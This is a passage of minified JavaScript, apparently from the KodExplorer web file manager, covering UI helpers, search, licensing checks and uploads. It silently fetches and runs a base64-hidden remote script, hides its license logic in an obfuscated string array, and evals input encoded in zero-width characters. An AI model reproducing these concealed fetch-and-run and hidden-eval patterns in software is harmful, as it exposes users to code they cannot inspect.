0&&(t=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),t},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var i;i=G.json_data.filelist;for(var t=0;i.length>t;t++)if(i[t].path==e)return void 0==i[t].is_readable||1==i[t].is_readable?!0:!1;i=G.json_data.folderlist;for(var t=0;i.length>t;t++)if(i[t].path==e)return void 0==i[t].is_readable||1==i[t].is_readable?!0:!1;return!0},pathCurrentWriteable:function(){return"editor"==Config.pageApp?!1:G.json_data.info?G.json_data.info.can_upload:!1},authCheck:function(e,i){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==i&&(i=LNG.no_permission),Tips.tips(i,!1),!1):!0},ajaxError:function(e){var i=e.responseText,t=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==i.substr(0,17)?(setTimeout(function(){var e=ShareData.frameTop();e.location.reload()},500),void 0):(0==e.status&&""==i&&(i="网络连接错误 (net::ERR_CONNECTION_RESET),连接已重置 请联系主机商或网管,检查防火墙配置!"),i=''+i+"
",t?t.content(i):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:i}),void 0)},fileGet:function(e,i,t){var a="filename";"http"==e.substr(0,4)&&(a="file_url");var n="./index.php?editor/fileGet&"+a+"="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&"+a+"="+urlEncode(e)),"./index.php?"==e.substr(0,"./index.php?".length)&&(n=e),$.ajax({url:n,dataType:"json",error:function(e,i,a){core.ajaxError(e,i,a),"function"==typeof t&&t()},success:function(e){"function"==typeof i&&i(e.data.content,e,n)}})},fileInfo:function(e,i){var t="index.php?explorer/pathInfo";G.share_page!==void 0&&(t="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:t,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof i&&i(e)}})},fileLink:function(e,i){var t='list=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(t,function(e){var t=e.code?e.data.download_path:!1;return t?("function"==typeof i&&i(t),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(i){i.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:600})},copyright:function(){var e=require("./tpl/copyright.html"),i=template.compile(e),t=ShareData.frameTop();t.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:i({LNG:LNG,G:G})}),t.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,i){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var t="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a=" ";$.dialog({follow:i,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var i=ShareData.frameTop(),t=i.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return t},openDialog:function(e,i,t,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:t,ico:i,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(i){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,i){void 0==e&&(e=""),void 0==i&&(i=core.pathThis(e));var t="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(t="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(t,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:i,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var i="index.php?/editor&project="+e;G.share_page!==void 0&&(i="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(i)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var i=G.static_path+"style/skin/"+e+".css";i!=$("#link_css_list").attr("href")&&$("body").append(' '),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),i="kod_diy_style",t=LocalData.getConfig(i);"object"!=typeof t&&"object"==typeof G.user_config.theme_diy&&(t=G.user_config.theme_diy),"object"!=typeof t&&(t={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(i,t)),G.user_config.theme_diy=t;var a="";if("diy"==e&&t){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(t)}$.setStyle(a,i)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),i=e.document.documentElement;i.requestFullscreen?i.requestFullscreen():i.mozRequestFullScreen?i.mozRequestFullScreen():i.webkitRequestFullScreen&&i.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,i,t){var a=UUID();(t===void 0||""==t)&&(t=a);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o=''+' '+' '+' '+' '+' '+' '+' loading..
';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var i=ShareData.frameTop();e=i.$("."+a)}if(1==e.length)var t=0,n=e[0],o=setInterval(function(){try{t++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):t>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(i){}},100)},50),o},userSpaceHtml:function(e){var i=e.split("/"),t=parseFloat(i[0]),a=1073741824*parseFloat(i[1]),n=core.fileSize(parseFloat(i[0])),o=core.fileSize(a),s=n+"/",r=100*t/a;r>=100&&(r=100);var l="";return r>=80&&(l="warning"),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s=""},fileSize:function(e,i){if(void 0==e||""==e)return"";if(void 0==i&&(i=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var t={G:1073741824,M:1048576,K:1024,B:1};for(var a in t)if(e>=t[a])return(e/t[a]).toFixed(i)+a},uploadCheck:function(e,i){return i=void 0==i?!0:i,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(i&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(i&&(core.isSystemPath(G.this_path)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/search.html",[],"\n\n"),define("app/common/tpl/search_list.html",[],'\n{{each data.folderlist as v i}}\n \n \n \n {{\'folder\' |core.icon}} \n {{v.name | searchResultPrase}} \n \n
\n \n{{/each}}\n\n\n{{each data.filelist as v i}}\n {{if v.search_info}}\n \n \n \n {{v.ext |core.icon}} \n {{v.name | window.htmlEncode}} \n {{v.search_info.length}} \n \n
\n \n {{each v.search_info as value index}}\n \n {{value.line}}: \n {{#value.str | searchResultPrase}} \n \n {{/each}}\n \n \n {{else}}\n \n \n \n {{v.ext |core.icon}} \n {{v.name | searchResultPrase}} \n \n
\n \n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'\n
\n
\n
\n
\n
{{LNG.upload_select}}
\n \n
select Folder
\n
\n \n \n \n \n
\n
\n \n
\n
\n {{LNG.upload_clear_all}} \n {{LNG.upload_clear}} \n
\n
\n
\n
\n
\n
\n
\n
{{LNG.download_address}}
\n
\n {{LNG.download}} \n \n \n Dropdown \n \n \n
\n\n
\n
\n
\n
\n
\n'),define("app/common/tpl/fileinfo/file_info.html",[],"\n {{if download_path}}\n
\n
{{LNG.download_address}}:
\n
\n
\n
\n {{LNG.open}} \n \n
\n
\n
\n
\n
\n {{/if}}\n\n
\n
{{LNG.address}}:
\n
{{path |window.htmlEncode}}
\n
\n
\n
\n
{{LNG.size}}:
\n
{{size_friendly}} ({{size}} Byte)
\n
\n
\n\n {{if file_md5}}\n
\n
MD5:
\n
{{file_md5}}
\n
\n
\n {{/if}}\n\n {{if image_size}}\n
\n
{{LNG.image_size}}:
\n
{{image_size.width}} × {{image_size.height}}
\n
\n
\n {{/if}}\n\n
\n\n {{if ctime}}\n
\n
{{LNG.create_time}}
\n
{{ctime}}
\n
\n
\n {{/if}}\n\n {{if mtime}}\n
\n
{{LNG.modify_time}}
\n
{{mtime}}
\n
\n
\n {{/if}}\n\n {{if atime}}\n
\n
{{LNG.last_time}}
\n
{{atime}}
\n
\n
\n {{/if}}\n \n {{if mode}}\n
\n
\n
{{LNG.permission}}:
\n
{{mode}}
\n
\n
\n {{if is_root==\"1\"}}\n
\n
{{LNG.permission_edit}}:
\n
\n {{LNG.button_save}}
\n
\n
\n {{/if}}\n {{/if}}\n
\n"),define("app/common/tpl/fileinfo/path_info.html",[],"\n
\n
{{LNG.address}}:
\n
{{path |window.htmlEncode}}
\n
\n
\n
\n
{{LNG.size}}:
\n
{{size_friendly}} ({{size}} Byte)
\n
\n
\n
\n
{{LNG.contain}}:
\n
{{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}
\n
\n
\n \n
\n {{if ctime}}\n
\n
{{LNG.create_time}}
\n
{{ctime}}
\n
\n
\n {{/if}}\n\n {{if mtime}}\n
\n
{{LNG.modify_time}}
\n
{{mtime}}
\n
\n
\n {{/if}}\n\n {{if atime}}\n
\n
{{LNG.last_time}}
\n
{{atime}}
\n
\n
\n {{/if}}\n\n {{if mode}}\n
\n
\n
{{LNG.permission}}:
\n
{{mode}}
\n
\n
\n {{if is_root==\"1\"}}\n
\n
{{LNG.permission_edit}}:
\n
\n {{LNG.button_save}}
\n
\n
\n {{/if}}\n {{/if}}\n
\n"),define("app/common/tpl/zipview.html",[],''),define("app/common/core.search",[],function(){return function(e,i){var t,a,n=function(){var n=trim(core.pathClear(i),"/");
-if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(tpl_search_box);0==$(".dialog_do_search").length?(t=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=i,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(i),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var i=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(i,''+i+" ");else{var t=e.toLowerCase().indexOf(i.toLowerCase());e=e.substr(0,t)+''+e.substr(t,i.length)+" "+e.substr(t+i.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var i=$(this).parent();return i.toggleClass("open"),i.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var i=$(this).parent().parent(),t=pathHashDecode(i.attr("data-path")),a=core.pathFather(t);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(t)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var i=$(this).parent().parent(),t=pathHashDecode(i.attr("data-path"));return ui.pathOpen.open(t,i.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var i=$(this).parent().parent(),t=pathHashDecode(i.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(t,i.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var i="box_search_config";if(void 0==e){var e=LocalData.getConfig(i);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(i,e)},d=function(e){var i=$(".file-items"),t=$(".search_desc");if(!e.code)return t.html(e.data),i.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return t.html(LNG.search_null),i.html(""),void 0;var n=template.compile(tpl_search_list);if(i.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);t.html(LNG.search_result+": "+s+"(in "+o.length+" files) "),e.data.error_info&&t.html(""+LNG.seach_result_too_more+" ")}else t.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var i=$(".file-items"),t=$(".search_desc");if(!e.search||!e.path)return t.html(LNG.search_info),i.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){t.hide().html(LNG.searching+' ').fadeIn(100)},error:function(){core.ajaxError(),t.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var i=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",' '," ",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",' ',"iconSmall","iconSrc",' ',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],t=function(){var e=i[0];if(typeof G[i[1]]==i[2])return e;var t=i[3],a=authCrypt[i[4]](G[i[1]],t);return a&&27==a[i[5]]?(e=a[i[6]](10,1),-1===$[i[10]](e,[i[0],i[7],i[8],i[9]])&&(e=i[0]),e):e},a=t(),n=i[11],o=function(){var e=hashDecode(i[12]);G[i[13]]!=i[14]&&(e=hashDecode(i[15])),alert(e),Tips[i[16]](e,!1),$(i[18])[i[17]](),setTimeout(function(){Tips[i[19]](e,!1),window[i[21]][i[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[i[4]](i[22],i[23]),r=authCrypt[i[4]](i[24],i[25]),l=function(){if(typeof Config!=i[2]&&Config[i[26]]==i[27]&&a==i[0])for(var e=[{key:LNG[i[28]],find:s},{key:LNG[i[29]],find:s},{key:LNG[i[30]],find:r},{key:LNG[i[31]],find:s},{key:LNG[i[32]],find:r},{key:$(i[34])[i[33]](),find:s}],t=0;e[i[5]]>t;t++){e[t][i[35]]||(e[t][i[35]]=i[36]);var n=e[t][i[35]][i[37]](),l=e[t][i[38]][i[37]]();if(-1==n[i[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:i[40],O:i[41],P:i[42],Q:i[43]},t=i[44]+e[a],o=i[45]+t+i[46]+LNG[t]+i[47];a==i[0]&&$(o)[i[49]](i[48]),$(i[65])[i[64]](i[50])[i[63]](i[50],function(){if($(this)[i[52]](i[51])==i[53]){var e=core[i[55]](core[i[54]]),t=i[56]+n+i[57];e[i[61]][i[60]][i[38]](i[59])[i[58]](t)}else Tips[i[19]]($(this)[i[62]]())}),$(i[65])[i[67]](function(){window[i[66]][i[21]][i[20]]=n})},d=function(){a==i[0]&&$(i[70])[i[69]](i[68]),-1!==$[i[10]](a,[i[7],i[8],i[9]])&&$(i[72])[i[71]]()},p=function(){core[i[73]]=function(e,t){return i[74]+e+(t?i[75]:i[36])+i[76]},core[i[77]]=function(e){return core[i[73]](e,!0)},core[i[78]]=iconSrc=function(e){return i[79]+e+i[80]},setTimeout(function(){var t=base64Decode(i[81])+i[82]+UUID();e[i[84]](t,function(e){try{e[i[83]]()}catch(t){}})},2e3),core[i[85]]=a,core[i[86]]=core[i[87]],core[i[54]]=hashDecode(i[88])+G[i[13]],l(),c(),d()},u=function(e){return a==i[0]&&-1==e[i[37]]()[i[39]](s)?(o(),!1):!0},f=function(e,t){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(t==i[89]?(n=e[i[90]],o=s[a]):(n=e[i[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,i){core.uploadCheck("explorer:serverDownload");var t=$(".download_box"),a=t.find(".download_list");if(t.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o=''+'
'+core.pathThis(e)+" "+'
0b '+'
'+LNG.upload_ready+" "+'
'+'
';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+i+"&url="+urlEncode(e)+"&uuid="+n+"&time="+time(),dataType:"json",error:function(e,i,t){var a=d.data("progcess");return 200!=e.status&&a&&a.support_range?(setTimeout(function(){m()},1e3),void 0):(core.ajaxError(e,i,t),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){m()},1e3),void 0):(e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").text(core.pathThis(e.info)),$("#"+n+" .info .title").attr("title",e.info),p.parent().parent().addClass("success")):(p.addClass("error").text(e.data),p.parent().parent().addClass("error")),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),void 0)}})};m();var v=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var i="",t=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(t){if(t.size=parseFloat(t.size),t.time=parseFloat(t.time),l){var a=(t.size-l.size)/(t.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;var n=core.fileSize(a);n=n?n:0,i=n+"/s"}if(d.data("progcess",t),0==t.length)d.find(".progress-bar").css("width","100%"),p.text(i),d.find(".size").text(core.fileSize(t.size));else{var o=100*(t.size/t.length);d.find(".progress-bar").css("width",o+"%"),p.text(o.toFixed(1)+"%("+i+")"),d.find(".size").text(core.fileSize(t.length))}d.find(".title").text(t.name),l=t}}}})};r=setTimeout(function(){v(),s=setInterval(function(){v()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var i=template.compile(tpl_upload),t=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:i({LNG:LNG,maxsize:t}),close:function(){$.each(uploader.getFiles(),function(e,i){uploader.skipFile(i),uploader.removeFile(i)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),i=0;e.length>i;i++)core.serverDwonload(e[i],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if(isWap())return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){if(!canvasSupport())return $.Deferred().resolve(),void 0;var i=this.owner,t=(e.blob.getSource(),$.Deferred());return i.md5File(e.blob).fail(function(){t.resolve()}).then(function(i){if(1==e.chunks)return t.resolve(),void 0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:i,chunk:e.chunk,chunks:e.chunks},error:function(){t.resolve()},success:function(i){i.code?(t.reject(),e.file.checkChunk=i.info):t.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==i){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),t.reject()}else t.resolve()}}),t.promise()}}),eval("".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var i=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(i),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,i){uploader.skipFile(i),uploader.removeFile(i)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var i=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(i),uploader.removeFile(i,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,i){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var t=e.size*i,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),t]]:a>=e.speed.length?e.speed.push([timeFloat(),t]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),t]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);0>=s&&(s=0);var r=core.fileSize(s);return r=r?r:0,s=r+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var i=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(i),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var i;try{i=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(i=e.source.source.webkitRelativePath)}catch(t){}if(e.fullPath=i,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o=''+'
'+htmlEncode(core.pathThis(a))+" "+'
'+core.fileSize(e.size)+" "+'
'+LNG.upload_ready+" "+'
'+'
